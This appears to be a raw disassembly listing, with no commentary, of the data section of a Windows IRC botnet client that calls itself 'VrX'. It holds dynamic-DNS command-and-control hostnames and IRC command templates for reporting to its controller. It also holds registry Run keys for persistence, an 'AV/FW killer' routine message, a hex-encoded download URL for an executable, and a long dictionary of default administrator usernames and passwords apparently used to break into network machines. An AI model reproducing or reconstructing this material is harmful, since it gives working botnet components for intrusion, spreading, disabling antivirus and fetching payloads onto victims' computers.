off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5
dd offset loc_426314
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o
; ___:off_43DAE4o ...
dd offset dword_427EB8
off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o
; sub_42651A+8o ...
dd offset sub_42657A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: sub_426636+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: sub_4268C1+5o
dd 43DAE4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o
; ___:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co
dd offset off_43DAFC
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: ___:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co
dd offset off_43DB1C
dd offset unk_427DE8
off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o
dd offset off_43DB3C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: ___:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o
dd offset off_43DB60
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o
dd offset off_43DAE4
dd offset dword_427EA0+8
align 10h
dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o
dd 0FFFFFFFFh, 426A90h, 0
dd offset sub_426A88
dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o
dd 0FFFFFFFFh, 426AB4h, 0
dd offset loc_426ABC
dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427F78h, 4 dup(0)
dd offset loc_40DA8E
dd 0FFFFFFFFh, 426ADAh
dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o
dd offset off_43DAE4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DAFC
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB1C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
dd 0FFFFFFFFh, 426AECh
dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o
dd 0FFFFFFFFh, 426AFEh
dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o
dd 0FFFFFFFFh, 426B10h
dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o
dd offset off_43DB3C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
dd 0FFFFFFFFh, 426B22h
dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
dd 5 dup(5126D19Fh), 5 dup(35DBB204h), 75h dup(0)
dd 35DBB204h, 15h dup(0)
dd 5126D19Fh, 6 dup(0)
dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041C183o
dd offset loc_401205
dd offset sub_40DB3C
dd offset dword_40EF1C+1D0h
dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo
dword_429014 dd 0 ; DATA XREF: ___:0041C174o
dd offset sub_41DA32
dd offset sub_420B0D
dd offset sub_42413E
dd offset word_424F62
dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o
dd offset sub_4241E3
dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o
dd offset byte_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aSbrsfgf db 'sbrsfgf',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_40445Do ...
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 77h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 69h, 6Eh, 64h
dd 73767265h, 6578652Eh, 0
dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
align 4
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 10h
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch
dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h
dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h
dd 42989Ch, 429894h, 429890h, 0
dd offset byte_43DB88
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o
align 4
aLan db 'lan',0 ; DATA XREF: ___:004294B0o
aMain db 'main',0 ; DATA XREF: ___:004294ACo
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o
aBlank db 'blank',0 ; DATA XREF: ___:004294A4o
align 4
aOffice db 'office',0 ; DATA XREF: ___:004294A0o
align 10h
aControl db 'control',0 ; DATA XREF: ___:0042949Co
aXp db 'xp',0 ; DATA XREF: ___:00429498o
align 4
aNokia db 'nokia',0 ; DATA XREF: ___:00429494o
align 4
aHp db 'hp',0 ; DATA XREF: ___:00429490o
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co
aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o
align 4
aDell db 'dell',0 ; DATA XREF: ___:00429484o
align 10h
aCisco db 'cisco',0 ; DATA XREF: ___:00429480o
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
align 4
aSql db 'sql',0 ; DATA XREF: ___:0042946Co
aSa db 'sa',0 ; DATA XREF: ___:00429468o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o
align 4
aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o
align 4
aData db 'data',0 ; DATA XREF: ___:00429454o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o
align 10h
aAccess db 'access',0 ; DATA XREF: ___:00429444o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o
align 4
aDomain db 'domain',0 ; DATA XREF: ___:00429434o
align 4
aHello db 'hello',0 ; DATA XREF: ___:00429430o
align 4
aHell db 'hell',0 ; DATA XREF: ___:0042942Co
align 4
aGod db 'god',0 ; DATA XREF: ___:00429428o
aSex db 'sex',0 ; DATA XREF: ___:00429424o
; ___:off_438A68o
aSlut db 'slut',0 ; DATA XREF: ___:00429420o
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:00429418o
align 4
aExchange db 'exchange',0 ; DATA XREF: ___:00429414o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:00429410o
align 10h
aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o
align 4
aLogin db 'login',0 ; DATA XREF: ___:00429404o
align 10h
aMary db 'mary',0 ; DATA XREF: ___:00429400o
align 4
aKatie db 'katie',0 ; DATA XREF: ___:004293FCo
align 10h
aKate db 'kate',0 ; DATA XREF: ___:004293F4o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:004293F0o
align 10h
aEric db 'eric',0 ; DATA XREF: ___:004293ECo
align 4
aChris db 'chris',0 ; DATA XREF: ___:004293E8o
align 10h
aIan db 'ian',0 ; DATA XREF: ___:004293E4o
aNeil db 'neil',0 ; DATA XREF: ___:004293E0o
align 4
aLee db 'lee',0 ; DATA XREF: ___:004293DCo
aBrian db 'brian',0 ; DATA XREF: ___:004293D8o
align 4
aSusan db 'susan',0 ; DATA XREF: ___:004293D0o
align 10h
aSue db 'sue',0 ; DATA XREF: ___:004293CCo
aSam db 'sam',0 ; DATA XREF: ___:004293C8o
aLuke db 'luke',0 ; DATA XREF: ___:004293C4o
align 10h
aPeter db 'peter',0 ; DATA XREF: ___:004293C0o
; ___:004293D4o
align 4
aJohn db 'john',0 ; DATA XREF: ___:004293BCo
align 10h
aMike db 'mike',0 ; DATA XREF: ___:004293B8o
align 4
aBill db 'bill',0 ; DATA XREF: ___:004293B4o
align 10h
aFred db 'fred',0 ; DATA XREF: ___:004293B0o
align 4
aJoe db 'joe',0 ; DATA XREF: ___:004293ACo
aJen db 'jen',0 ; DATA XREF: ___:004293A8o
aBob db 'bob',0 ; DATA XREF: ___:004293A4o
; ___:004293F8o
aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o
aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co
aAsd db 'asd',0 ; DATA XREF: ___:00429398o
aQaz db 'qaz',0 ; DATA XREF: ___:00429394o
aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o
aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o
align 4
aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o
align 4
aWin98 db 'win98',0 ; DATA XREF: ___:00429380o
align 4
aWindows db 'windows',0 ; DATA XREF: ___:0042937Co
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o
aOem db 'oem',0 ; DATA XREF: ___:00429370o
aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; ___:0042936Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o
align 10h
aHome db 'home',0 ; DATA XREF: ___:00429364o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co
align 10h
aInternet db 'internet',0 ; DATA XREF: ___:00429358o
; ___:004294B4o
align 4
aWww db 'www',0 ; DATA XREF: ___:00429354o
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; ___:00429350o
aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co
aMail db 'mail',0 ; DATA XREF: ___:00429348o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:00429340o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; ___:00429338o
align 4
aSystem db 'system',0 ; DATA XREF: ___:00429334o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co
align 10h
aLinux db 'linux',0 ; DATA XREF: ___:00429328o
align 4
aUnix db 'unix',0 ; DATA XREF: ___:00429324o
align 10h
aDemo db 'demo',0 ; DATA XREF: ___:00429320o
align 4
aNone db 'none',0 ; DATA XREF: ___:0042931Co
align 10h
aTest db 'test',0 ; DATA XREF: ___:00429314o
align 4
a2004 db '2004',0 ; DATA XREF: ___:00429310o
align 10h
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; ___:0042930Co
align 4
a2002 db '2002',0 ; DATA XREF: ___:00429308o
align 10h
a2001 db '2001',0 ; DATA XREF: ___:00429304o
align 4
a2000 db '2000',0 ; DATA XREF: ___:00429300o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o
a123456 db '123456',0 ; DATA XREF: ___:004292ECo
align 4
a12345 db '12345',0 ; DATA XREF: ___:004292E8o
align 4
a1234 db '1234',0 ; DATA XREF: ___:004292E4o
align 4
a123 db '123',0 ; DATA XREF: ___:004292E0o
a12 db '12',0 ; DATA XREF: ___:004292DCo
align 4
a1: ; DATA XREF: ___:0040AFC7o
; ___:004292D8o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292D4o
aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o
aPass db 'pass',0 ; DATA XREF: ___:004292CCo
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o
align 4
aPassword db 'password',0 ; DATA XREF: ___:004292C0o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo
align 4
aAdm db 'adm',0 ; DATA XREF: ___:004292B8o
aDb2 db 'db2',0 ; DATA XREF: ___:00429460o
aOracle db 'oracle',0 ; DATA XREF: ___:00429478o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: ___:00429440o
align 4
aDefault db 'default',0 ; DATA XREF: ___:00429330o
aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o
aStudent db 'student',0 ; DATA XREF: ___:004294BCo
aOwner db 'owner',0
align 10h
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: ___:0042933Co
align 4
aStaff db 'staff',0 ; DATA XREF: ___:004294C4o
align 4
aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co
dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_4100B4+EAo ...
unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 4
unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 4
asc_429C48: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 10h
unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
